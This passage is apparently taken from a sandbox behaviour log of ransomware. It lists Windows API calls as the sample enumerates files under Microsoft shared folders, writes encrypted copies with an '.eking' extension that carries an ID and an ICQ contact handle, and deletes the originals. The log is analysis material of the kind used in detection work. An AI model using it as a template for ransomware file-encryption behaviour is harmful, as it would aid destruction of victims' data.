Engine\\OSE.EXE.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x310 [0289.017] ReadFile (in: hFile=0x2e0, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x3ba48, lpOverlapped=0x0) returned 1 [0289.029] WriteFile (in: hFile=0x310, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x3ba50, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x3ba50, lpOverlapped=0x0) returned 1 [0289.037] WriteFile (in: hFile=0x310, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xe2, lpOverlapped=0x0) returned 1 [0289.038] CloseHandle (hObject=0x2e0) returned 1 [0289.038] CloseHandle (hObject=0x310) returned 1 [0289.038] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 1 [0289.043] SetEvent (hEvent=0x2a0) returned 1 [0289.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0289.044] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=6381) returned 1 [0289.044] CloseHandle (hObject=0x310) returned 1 [0289.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0289.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0289.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0289.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0289.045] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=232) returned 1 [0289.045] CloseHandle (hObject=0x310) returned 1 [0289.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0289.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0289.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0289.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0289.049] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=5115) returned 1 [0289.049] CloseHandle (hObject=0x310) returned 1 [0289.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0289.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0289.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0289.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0289.050] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=233) returned 1 [0289.050] CloseHandle (hObject=0x310) returned 1 [0289.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0289.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0289.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0289.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0289.051] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=1920) returned 1 [0289.052] CloseHandle (hObject=0x310) returned 1 [0289.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0289.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0289.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0289.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0289.619] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=237) returned 1 [0289.619] CloseHandle (hObject=0x2dc) returned 1 [0289.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0289.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0289.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0289.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.620] SetEvent (hEvent=0x2a0) returned 1 [0289.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0289.622] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=855376) returned 1 [0289.622] CloseHandle (hObject=0x2dc) returned 1 [0289.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20 [0289.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20 [0289.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0289.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0289.622] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0289.622] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0289.623] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f0 [0289.626] ReadFile (in: hFile=0x2dc, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0xd0d50, lpOverlapped=0x0) returned 1 [0289.819] WriteFile (in: hFile=0x2f0, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xd0d60, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xd0d60, lpOverlapped=0x0) returned 1 [0289.843] WriteFile (in: hFile=0x2f0, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xf2, lpOverlapped=0x0) returned 1 [0289.843] CloseHandle (hObject=0x2dc) returned 1 [0289.843] CloseHandle (hObject=0x2f0) returned 1 [0289.846] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 1 [0290.578] SetEvent (hEvent=0x2a0) returned 1 [0290.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0290.581] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=987136) returned 1 [0290.581] CloseHandle (hObject=0x304) returned 1 [0290.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20 [0290.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20 [0290.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0290.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0290.581] SetEvent (hEvent=0x2a0) returned 1 [0290.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0290.584] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=12448) returned 1 [0290.584] CloseHandle (hObject=0x304) returned 1 [0290.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20 [0290.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20 [0290.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0290.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0290.585] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0290.585] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0290.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x308 [0290.661] ReadFile (in: hFile=0x304, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x30a0, lpOverlapped=0x0) returned 1 [0290.891] WriteFile (in: hFile=0x308, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x30b0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x30b0, lpOverlapped=0x0) returned 1 [0290.892] WriteFile (in: hFile=0x308, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x102, lpOverlapped=0x0) returned 1 [0290.893] CloseHandle (hObject=0x304) returned 1 [0290.893] CloseHandle (hObject=0x308) returned 1 [0290.893] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 1 [0290.895] SetEvent (hEvent=0x2a0) returned 1 [0290.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0290.896] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=367216) returned 1 [0290.896] CloseHandle (hObject=0x308) returned 1 [0290.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0290.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0290.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0290.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0290.897] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0290.897] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0290.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x304 [0290.898] ReadFile (in: hFile=0x308, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x59a70, lpOverlapped=0x0) returned 1 [0290.991] WriteFile (in: hFile=0x304, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x59a80, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x59a80, lpOverlapped=0x0) returned 1 [0291.002] WriteFile (in: hFile=0x304, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xf2, lpOverlapped=0x0) returned 1 [0291.002] CloseHandle (hObject=0x308) returned 1 [0291.002] CloseHandle (hObject=0x304) returned 1 [0291.002] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 1 [0291.009] SetEvent (hEvent=0x2a0) returned 1 [0291.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0291.010] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=48872) returned 1 [0291.010] CloseHandle (hObject=0x304) returned 1 [0291.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0291.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0291.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0291.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0291.011] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0291.011] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0291.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x308 [0291.012] ReadFile (in: hFile=0x304, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0xbee8, lpOverlapped=0x0) returned 1 [0291.037] WriteFile (in: hFile=0x308, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xbef0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, 